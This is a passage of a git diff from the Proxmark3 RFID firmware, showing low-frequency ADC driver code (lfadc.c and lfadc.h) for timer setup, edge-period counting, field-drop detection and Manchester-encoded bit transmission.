||||
return 0;
|
||||
}
|
||||
|
||||
size_t lf_count_edge_periods(size_t max) {
|
||||
return lf_count_edge_periods_ex(max, false, false);
|
||||
}
|
||||
|
||||
size_t lf_detect_gap(size_t max) {
|
||||
return lf_count_edge_periods_ex(max, false, true);
|
||||
}
|
||||
|
||||
void lf_reset_counter() {
|
||||
|
||||
// TODO: find out the correct reset settings for tag and reader mode
|
||||
// if (reader_mode) {
|
||||
// Reset values for reader mode
|
||||
rising_edge = false;
|
||||
previous_adc_val = 0xFF;
|
||||
|
||||
// } else {
|
||||
// Reset values for tag/transponder mode
|
||||
// rising_edge = false;
|
||||
// previous_adc_val = 0xFF;
|
||||
// }
|
||||
}
|
||||
|
||||
bool lf_get_tag_modulation() {
|
||||
return (rising_edge == false);
|
||||
}
|
||||
|
||||
bool lf_get_reader_modulation() {
|
||||
return rising_edge;
|
||||
}
|
||||
|
||||
void lf_wait_periods(size_t periods) {
|
||||
lf_count_edge_periods_ex(periods, true, false);
|
||||
}
|
||||
|
||||
void lf_init(bool reader, bool simulate) {
|
||||
|
||||
StopTicks();
|
||||
|
||||
reader_mode = reader;
|
||||
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
|
||||
|
||||
sample_config *sc = getSamplingConfig();
|
||||
sc->decimation = 1;
|
||||
sc->averaging = 0;
|
||||
|
||||
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor);
|
||||
if (reader) {
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD);
|
||||
} else {
|
||||
if (simulate)
|
||||
// FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT);
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC);
|
||||
else
|
||||
// Sniff
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE);
|
||||
|
||||
}
|
||||
|
||||
// Connect the A/D to the peak-detected low-frequency path.
|
||||
SetAdcMuxFor(GPIO_MUXSEL_LOPKD);
|
||||
|
||||
// Now set up the SSC to get the ADC samples that are now streaming at us.
|
||||
FpgaSetupSsc();
|
||||
|
||||
// When in reader mode, give the field a bit of time to settle.
|
||||
// 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered.
|
||||
if (reader) {
|
||||
// 10 ms
|
||||
SpinDelay(10);
|
||||
}
|
||||
|
||||
// Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation
|
||||
AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT;
|
||||
AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT;
|
||||
LOW(GPIO_SSC_DOUT);
|
||||
|
||||
// Enable peripheral Clock for TIMER_CLOCK 0
|
||||
AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0);
|
||||
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;
|
||||
AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK;
|
||||
|
||||
// Enable peripheral Clock for TIMER_CLOCK 1
|
||||
AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1);
|
||||
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
|
||||
AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK;
|
||||
|
||||
// Clear all leds
|
||||
LEDsoff();
|
||||
|
||||
// Reset and enable timers
|
||||
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
|
||||
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
|
||||
|
||||
// Prepare data trace
|
||||
uint32_t bufsize = 10000;
|
||||
|
||||
// use malloc
|
||||
if (logging) initSampleBufferEx(&bufsize, true);
|
||||
|
||||
lf_sample_mean();
|
||||
}
|
||||
|
||||
void lf_finalize() {
|
||||
// Disable timers
|
||||
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;
|
||||
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
|
||||
|
||||
// return stolen pin to SSP
|
||||
AT91C_BASE_PIOA->PIO_PDR = GPIO_SSC_DOUT;
|
||||
AT91C_BASE_PIOA->PIO_ASR = GPIO_SSC_DIN | GPIO_SSC_DOUT;
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
|
||||
LEDsoff();
|
||||
|
||||
StartTicks();
|
||||
}
|
||||
|
||||
size_t lf_detect_field_drop(size_t max) {
|
||||
size_t periods = 0;
|
||||
// int16_t checked = 0;
|
||||
|
||||
while (!BUTTON_PRESS()) {
|
||||
|
||||
/*
|
||||
// only every 1000th times, in order to save time when collecting samples.
|
||||
if (checked == 1000) {
|
||||
if (data_available()) {
|
||||
checked = -1;
|
||||
break;
|
||||
} else {
|
||||
checked = 0;
|
||||
}
|
||||
}
|
||||
++checked;
|
||||
*/
|
||||
|
||||
WDT_HIT();
|
||||
|
||||
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
|
||||
periods++;
|
||||
volatile uint8_t adc_val = AT91C_BASE_SSC->SSC_RHR;
|
||||
|
||||
if (logging) logSampleSimple(adc_val);
|
||||
|
||||
if (adc_val == 0) {
|
||||
rising_edge = false;
|
||||
return periods;
|
||||
}
|
||||
|
||||
if (periods == max) return 0;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void lf_modulation(bool modulation) {
|
||||
if (modulation) {
|
||||
HIGH(GPIO_SSC_DOUT);
|
||||
} else {
|
||||
LOW(GPIO_SSC_DOUT);
|
||||
}
|
||||
}
|
||||
|
||||
// simulation
|
||||
static void lf_manchester_send_bit(uint8_t bit) {
|
||||
lf_modulation(bit != 0);
|
||||
lf_wait_periods(16);
|
||||
lf_modulation(bit == 0);
|
||||
lf_wait_periods(32);
|
||||
}
|
||||
|
||||
// simulation
|
||||
bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len) {
|
||||
|
||||
LED_B_ON();
|
||||
|
||||
lf_manchester_send_bit(1);
|
||||
lf_manchester_send_bit(1);
|
||||
lf_manchester_send_bit(1);
|
||||
lf_manchester_send_bit(1);
|
||||
lf_manchester_send_bit(1);
|
||||
|
||||
// Send the content of the frame
|
||||
for (size_t i = 0; i < frame_len; i++) {
|
||||
lf_manchester_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1);
|
||||
}
|
||||
|
||||
LED_B_OFF();
|
||||
return true;
|
||||
}
|
37
armsrc/lfadc.h
Normal file
37
armsrc/lfadc.h
Normal file
|
@ -0,0 +1,37 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// LF ADC read/write implementation
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef __LFADC_H__
|
||||
#define __LFADC_H__
|
||||
|
||||
#include "proxmark3_arm.h"
|
||||
#include "common.h"
|
||||
#include "cmd.h"
|
||||
#include "util.h"
|
||||
#include "string.h"
|
||||
|
||||
extern bool logging;
|
||||
|
||||
void lf_sample_mean(void);
|
||||
bool lf_test_periods(size_t expected, size_t count);
|
||||
size_t lf_count_edge_periods(size_t max);
|
||||
size_t lf_detect_gap(size_t max);
|
||||
void lf_reset_counter();
|
||||
|
||||
bool lf_get_tag_modulation();
|
||||
bool lf_get_reader_modulation();
|
||||
|
||||
void lf_wait_periods(size_t periods);
|
||||
//void lf_init(bool reader);
|
||||
void lf_init(bool reader, bool simulate);
|
||||
void lf_finalize();
|
||||
size_t lf_detect_field_drop(size_t max);
|
||||
bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len);
|
||||
void lf_modulation(bool modulation);
|
||||
|
||||
#endif // __LFADC_H__
|
1317
armsrc/lfops.c
1317
armsrc/lfops.c
File diff suppressed because it is too large
Load diff
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue